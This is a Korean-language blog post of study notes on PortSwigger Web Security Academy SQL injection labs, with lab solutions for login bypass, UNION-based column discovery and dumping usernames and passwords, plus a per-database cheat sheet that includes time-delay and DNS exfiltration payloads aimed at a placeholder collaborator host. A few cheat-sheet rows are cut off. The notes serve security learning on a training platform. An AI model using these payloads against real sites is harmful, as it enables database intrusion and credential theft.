Burp swigger

Burp swigger - SQL injection

editor9386 2025. 3. 17. 17:12

 

SQL injection의 취약점은 SELECT 구문 WHERE 절에 가장 많이 발생한다

 

그리고 나타나는 다른 조건?위치? 는

  • In UPDATE statements, within the updated values or the WHERE clause.
  • In INSERT statements, within the inserted values.
  • In SELECT statements, within the table or column name.
  • In SELECT statements, within the ORDER BY clause.

    라고한다. 해석해보면
  • UPDATE 문장에서, WHERE절 혹은 WHERE 절
  • INSERT 문장에서, 삽입값
  • SELECT 문장에서, 테이블 혹은 열이름
  • SELECT 문장에서, ORDER BY 구문

    이 위치들에서 SQL 취약점이 잘 발생한다고 한다.

    예를들어 쇼핑몰 사이트에서 원하는 카테고리를 클릭한다고 하면 클릭시

https://insecure-website.com/products?category=Gifts 해당 URL을 요청을 하게 된다.

 

이렇게 하면 URL 내의 파라미터 값을 참조해서 

DB 서버로 들어가 SELECT * FROM products WHERE category = 'Gifts' AND released = 1 의 쿼리를 실행시키게 된다.

 

SQL은 주입 공격에 대한 방어 수단을 구현하지 못하는데 즉

https://insecure-website.com/products?category=Gifts'-- 이렇게 입력하면

 

SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1 이런식으로 쿼리 응답 요청이 들어가게 된다.

SQL 에서 -- 는 주석과 같은 의미이므로  --' AND released = 1 이 내용은 주석처리가 된다. 

 

 

쿼리 설명 내용

  • 모든 세부 사항 ( *)
  • products테이블 에서
  • 어디에 category있는가Gifts
  • 그리고 . released​ = 1

released =1 제한은 출시되지 않은 상품들을 숨기는 설정이다. 

 

실습

 

 

SELECT * FROM products WHERE category = 'Gifts' AND released = 1 의 쿼리를 수행하는 쇼핑몰이 있다고한다.
출시되지 않은 하나이상의 제품을 표시하도록 하는 SQL 주입 공격을 수행하라고 한다.

 

 

이런식으로 카테고리를 클릭하면 URL 에 파라미터 변수가 주어지는데 이 변수 값에 아까 했던 방식으로 항상 참값이 나오게 입력해주면 모든 내용이 나오지 않을까?

 

https://0a9500070421d479a13af0db00e2000a.web-security-academy.net/filter?category=Gifts' or 1=1 -- 

성공 한듯 하다

 

 

 

다음은 사용자가 사용자의 이름과 비밀번호로 로그인 할 수 있는 어플리케이션을 가정해본다. 

 

사용자 이름 :wiener      비밀번호 : bluecheese  를 로그인창에 입력한 후 로그인 버튼을 누르면 다음과 같은 쿼리를 통해 자격이 증명 즉 로그인이 될 것이다.

SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'

-users table에 있는 고객정보들 중에서 username 컬럼과 password 컬럼의 내용이 입력한 것과 같은 고객의 아이디가 출력이 되게(출력되면 로그인)

 

 

이 경우 공격자들은 비밀번호가 필요 없이 모든 사용자로 로그인이 가능하다. 

주석을 사용하여 SELECT * FROM users WHERE username = 'wiener' -- AND password = 'bluecheese' 

비밀번호 값이 필요가 없게 만들수 있기 때문이다.

 

 

실습

로그인 페이지에서 인젝션 공격을 하여 administrator 로 로그인을 해라

 

 

 

아이디를 모르는 경우

입력하고 자시고 그냥 항상 참값이 되어 로그인 되게 하면된다.

'or 1=1 --

 

아이디를 아는 경우

administrator' --' 를 입력하면 된다 .   맨뒤 ' 를 입력하면 CSRF 토큰이 없다는데 왜 이런 오류가 나는지는 잘모르겠다.

 

 

 

UNION 공격

 

어플리케이션의 응답 내에서 반환되는 경우 UNION 키워드를 사용하여 데이터베이스 내의 다른 테이블에서 데이터를 검색할 수 있다.(요청시 DB내용이 출력되는 경우를 말하는듯)

키워드 UNION을 사용하면 하나 이상의 추가 SELECT 쿼리를 실행하고 결과를 원래 쿼리에 추가가 가능하다.

 

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

 

이 쿼리는 두개의 열로 구성된 단일 결과를 반환하며 각 열에는 테이블 1의 a,b열의 값 / 테이블 2의 c,d열의 값이 출력이 된다.

 

UNION 쿼리가 작동 하려면 두 가지 핵심 요구 사항을 충족해야 하는데

  • 개별 쿼리는 동일한 수의 열을 반환해야한다.
  • 각 열의 데이터 유형은 개별 쿼리 간에 호환되어야 한다.

SQL 인젝션 UNION 공격을 할 때 원래 쿼리에서 반환되는 열의 수를 확인하는 방법이 두가지 존재한다.

 

한 가지는  ORDER BY 절을 여러 번 삽입하면서 컬럼 인덱스를 점차 증가시키면서 에러가 발생할 때까지 테스트하는 방법이다. 예를 들어 SQL 인젝션이 발생하는 지점이 원래 쿼리의 WHERE 절 안에 있는 문자열 이라면

' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- 이런식으로 입력한다

 

두 번째 방법은 UNION SELECT 서로 다른 개수의 null 값을 지정하는 일련의 페이로드를 제출하는것을 포함한다. 

 

'  UNION SELECT NULL--

' UNION SELECT NULL,NULL--

' UNION SELECT NULL,NULL,NULL--  .....

이런 식으로 계속 입력하다보면 DB의 열값과 같아 질 때 오류가 발생하지 않는다.

 

 

 

여기 카테고리 변수에 UNION 공격을 해보면

'UNION SELECT NULL,NULL,NULL -- << 입력시 오류가  출력되지 않는다. 

성공

 

 

데이터베이스별 구문

DBMS 마다 SQL 문버의 차이가 존재함으로 인젝션이나 처리를 할 때 생각해서 해야함

 

Oracle

1. Oracle의 SELECT 문에는 반드시 FROM 절이 필요하다.

2. 테이블이 필요할 때는 내장테이블 DUAL 을 사용한다.

3. --로 주석을 처리할 수 있으며, 그 뒤 내용은 무시된다.

 

MySQL

1. -- 주석은 반드시 뒤에 공백이 있어야한다. -- 이건 주석처리 o   |    --이건 주석처리 x

2. #기호로도 주석 처리 가능

 

 

 

 

🔹 문자열 연결 (String concatenation)

여러 문자열을 하나로 이어 붙일 수 있는 문법입니다.

데이터베이스문법 예시
Oracle `'foo'
Microsoft 'foo'+'bar'
PostgreSQL `'foo'
MySQL 'foo' 'bar' (공백 필수)
  CONCAT('foo','bar')

🔹 문자열 추출 (Substring)

문자열의 일부를 추출할 수 있습니다. 인덱스는 1부터 시작합니다. (예: ‘ba’ 추출)

데이터베이스문법 예시
Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

🔹 주석 처리 (Comments)

입력 후 나머지 원래 쿼리를 무효화할 때 사용합니다.

데이터베이스문법 예시
Oracle --comment
Microsoft --comment, /*comment*/
PostgreSQL --comment, /*comment*/
MySQL #comment
  -- comment (공백 필요)
  /*comment*/

🔹 DB 버전 확인 (Database version)

데이터베이스의 종류와 버전을 확인하는 쿼리입니다.

데이터베이스쿼리 예시
Oracle SELECT banner FROM v$version
  SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

🔹 DB 구조 탐색 (Database contents)

테이블과 컬럼 목록을 조회할 수 있습니다.

데이터베이스테이블 조회컬럼 조회
Oracle SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME'
Microsoft SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME'
PostgreSQL 동일  
MySQL 동일  

🔹 조건부 오류 발생 (Conditional errors)

조건이 참일 경우 일부러 에러를 발생시켜, 조건 확인을 합니다.

데이터베이스쿼리 예시
Oracle SELECT CASE WHEN (조건) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft SELECT CASE WHEN (조건) THEN 1/0 ELSE NULL END
PostgreSQL 1 = (SELECT CASE WHEN (조건) THEN 1/(SELECT 0) ELSE NULL END)
MySQL SELECT IF(조건,(SELECT table_name FROM information_schema.tables),'a')

🔹 에러 메시지를 통한 데이터 추출

에러 메시지에 민감한 데이터를 끼워 넣어 확인합니다.

데이터베이스예시
Microsoft SELECT 'foo' WHERE 1 = (SELECT 'secret')
→ varchar를 int로 변환할 수 없다는 에러 발생  
PostgreSQL SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
→ secret이 숫자가 아니라고 에러 발생  
MySQL SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
→ XPATH 에러 발생  

🔹 여러 쿼리 실행 (Batched/stacked queries)

하나의 요청으로 여러 쿼리를 연달아 실행. 결과는 반환되지 않음.

데이터베이스지원 여부 및 문법
Oracle ❌ 지원하지 않음
Microsoft QUERY1; QUERY2 또는 QUERY1 QUERY2
PostgreSQL QUERY1; QUERY2
MySQL QUERY1; QUERY2 (일부 환경에서만 가능)

🔹 지연 시간 공격 (Time delays)

쿼리 실행 시 일정 시간 동안 응답 지연 발생.

데이터베이스예시
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

🔹 조건부 지연 (Conditional time delays)

조건이 참일 때만 지연을 발생시켜 참/거짓을 구별.

데이터베이스예시
Oracle `SELECT CASE WHEN (조건) THEN 'a'
Microsoft IF (조건) WAITFOR DELAY '0:0:10'
PostgreSQL SELECT CASE WHEN (조건) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL SELECT IF(조건,SLEEP(10),'a')

🔹 DNS 조회 (DNS lookup)

외부 DNS로 요청을 보내서 해당 쿼리가 실행되었는지 확인. Burp Collaborator 사용 필요.

데이터베이스예시
Oracle  
 
 
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR/"> %remote;]>'),'/l') FROM dual

 

또는 (권한 필요)

SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR')

| Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR/a'
| PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR'

| MySQL | (Windows만 가능)

LOAD_FILE('\\\\BURP-COLLABORATOR\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR\\a'


🔹 DNS를 통한 데이터 유출 (DNS exfiltration)

조회 결과를 DNS 주소에 삽입해 외부로 유출.

데이터베이스예시
Oracle  
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY)||'.BURP-COLLABORATOR/"> %remote;]>'),'/l') FROM dual

 

| Microsoft |

DECLARE @p VARCHAR(1024); SET @p=(SELECT YOUR-QUERY); EXEC('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR/a"')

| PostgreSQL | 복잡한 함수 생성 필요 (함수 내에 nslookup 포함)
| MySQL | (Windows만 가능)

SELECT YOUR-QUERY INTO OUTFILE '\\\\BURP-COLLABORATOR\\a'

 

 

----------------------------------------여기 까지 각종DBMS에서 표기법--------------

 

 

 

 

유용한 문자열 컬럼 찾기

UNION SELECT 공격으로 민감한 데이터를 추출하려면, 문자열 타입(col)이 포함된 컬럼이 필요하다.

 

절차

1. 필요한 컬럼의 수를 파악

ex) 쿼리가 4개의 컬럼을 반환한다면 4개의 값이 필요하다

 

2. 각 컬럼이 문자열을 허용하는지 테스트

ex) 각 컬럼에 'a' 같은 문자열을 하나씩 넣어보며 문자열을 사용하는지 테스트

에러 발생 시-> 해당 컬럼은 문자열 데이터 사용 x  

에러 발생 하지 않을 시 -> 해당 컬럼은 문자열 데이터를 사용한다.

 

문자열을 출력할 수 있는 컬럼을 찾아야 민감한 데이터를 UNION SELECT로 노출시킬 수 있다.

주로 오류 기반 인젝션 또는 블라인드 인젝션에 자주 사용됨

 

 

 

실습

 

이런식으로 카테고리에 취약점이 존재한다고 한다. 

DB에 cdsO8P 문자열을 검색해 보면 될 것 같다.

 

DB를 보려면 UNION 함수를 써야 할 것 같은데 일단 

컬럼의 수를 찾아보자 

 

category=Lifestyle'UNION SELECT NULL --

 

문법 오류라고 한다 아마 컬럼 수가 달라서 그런듯? NULL 값을 계속 추가해보자

 

 

 

category=Lifestyle'UNION SELECT NULL,NULL,NULL --

 

NULL값이 3개가 들어가니까  오류가 안나고 정상출력이 된다. => DB의 컬럼의 수가 3개이다.

 

이렇게 다른 형식의 값을 입력하면 오류가 나고 알맞은 형식으로 입력하면 정상 출력이 되는 경우를 오류 기반 인젝션 이라고 한다.

 

그리고 각 colum마다 NULL 대신 'a'를 입력해서 문자열을 쓰는 컬럼이 있는지 확인을 해볼까?

 

 

category=Lifestyle'UNION SELECT NULL,'a',NULL --

 

두번째 컬럼에서 문자열을 사용하는 것을 확인 할 수 있었음!

 

그럼 문자열을 사용하는 두번째 컬럼에 'cdsO8P'를 입력해보자 

 

 

category=Lifestyle'UNION SELECT NULL,'cdsO8P',NULL --

cdsO8P가 출력되었다! 성공

 

 

흥미로운 데이터를 얻기 위한 UNION 공격

 

원래 쿼리가 반환하는 컬럼의 수와 그 중 문자열을 출력할 수 있는 컬럼 위치도 파악했을 경우 흥미로운 데이터를 검색할 수 있다고 한다.

 

그 원래 쿼리가 두 개의 컬럼을 반환하고 둘 다 문자열 데이터를 보유할 수 있으며

 주입지점이 WHERE절 내의 따옴표로 묶인 문자열 이면서 

DB가 username, password 라는 컬럼을 가지고 있는 user테이블을 포함하고 있는 경우를 생각해보자

 

그러면 ' UNION SELECT username, password FROM users -- 라는 인젝션을 주입하면 아이디와 비밀번호를 취득 할 수 있을 것이다.

 

하지만 보통 공격을 하는 경우 이렇게 테이블 명하고 컬럼명을 알 수가 없을 것이다.

 

근데 DB내에 어떤 테이블과 열이 포함되어 있는지 확인하는 방법이 있다고 한다.

 

 

실습

위 실습처럼 또 컬럼의수, 문자열을 받는 컬럼의 위치를 파악하자

 

 

category=Accessories'UNION SELECT 'a','a'--

두 개의 열이 있고 둘 다 문자열을 받는다.

 

문제에서 users 라는 테이블에 username,passwrod 테이블이 있다고 했다.

 

 

그렇다면

category=Accessories'UNION SELECT username,password FROM users--

 

빙고!

 

 

 

하나의 컬럼에서 여러 값을 출력하는 방법

하나의 컬럼밖에 없을 때 username과 password 를 한줄에 출력할 수 있지만 DBMS 마다 형식이 다르다.

 

Oracle : | |

 

MySQL : concat(username, '~', password)

 

SQL server : username + '~'+ password

 

administrator~s3cure 이런식으로 출력 되겠지?

 

실습

정답

 

 

 

 

 

데이터베이스의 종류와 버전을 식별하는 방법

 

SQL Injection을 성공적으로 수행하려면 먼저 데이터베이스의 종류, 버전, 테이블 구조를 파악해야 한다.

 

UNION 공격을 이용해서 DB의 종류 및 버전을 확인 할 수 있는 명령어이다.

 

MySQL : SELECT @@version

 

Oracle : SELECT * FROM v$version

 

postgreSQL : SELECT version()

 

 

실습

 

category=Gifts'UNION SELECT NULL,NULL --  

음.. 이 전까지는 잘 됐는데 인젝션 주입이 안된다....

혹시 컬럼의 수가 문제인가 싶어서 늘려봐도 안된다.

 

Burp suite로 한번 보자 

 

 

이걸로 하니까 되네? 

 

 

성공

 

찾아보니까 

브라우저에 URL 인코딩 혹은 직접 요청할 경우 JS 나 프론트 코드가 자동으로 값 검증/필터링을 하는 브라우저도 존재한다고 한다.

하지만 burp 에서는 프론트엔드를 무시하고 백엔드로 바로 요청을 보내기 때문에 상관 없다고 함

 

Oracle을 제외한 DB에서는 information_schema 라는 뷰를 통해 데이터베이스 정보를 확인할 수 있다.

 

1. 테이블 목록 조회 하는 쿼리

SELECT * FROM information_schema.tables -- DB내에 존재하는 모든 테이블의 목록을 보여준다

 

2. 특정 테이블의 컬럼 정보 조회하는 쿼리

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

Users 테이블의 컬럼명과 데이터 타입을 반환  

 

실습

 

 

category=Accessories'UNION SELECT table_name,NULL FROM information_schema.tables --

그림과 같이 웹페이지와 연동된 DB 테이블의 이름들이 출력된다. 쭉 찾아보면 User 정보가 담겨져 있을 것 같은 테이블이 존재할텐데 한번 탐색해보자 

 

category=Accessories'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name=' users_vkzwvu '--

아마 여기에 가면 비밀번호가 있을듯?

 

category=Lifestyle'UNION SELECT username_tihymt,password_hwlrga FROM users_vkzwvu --

 

정답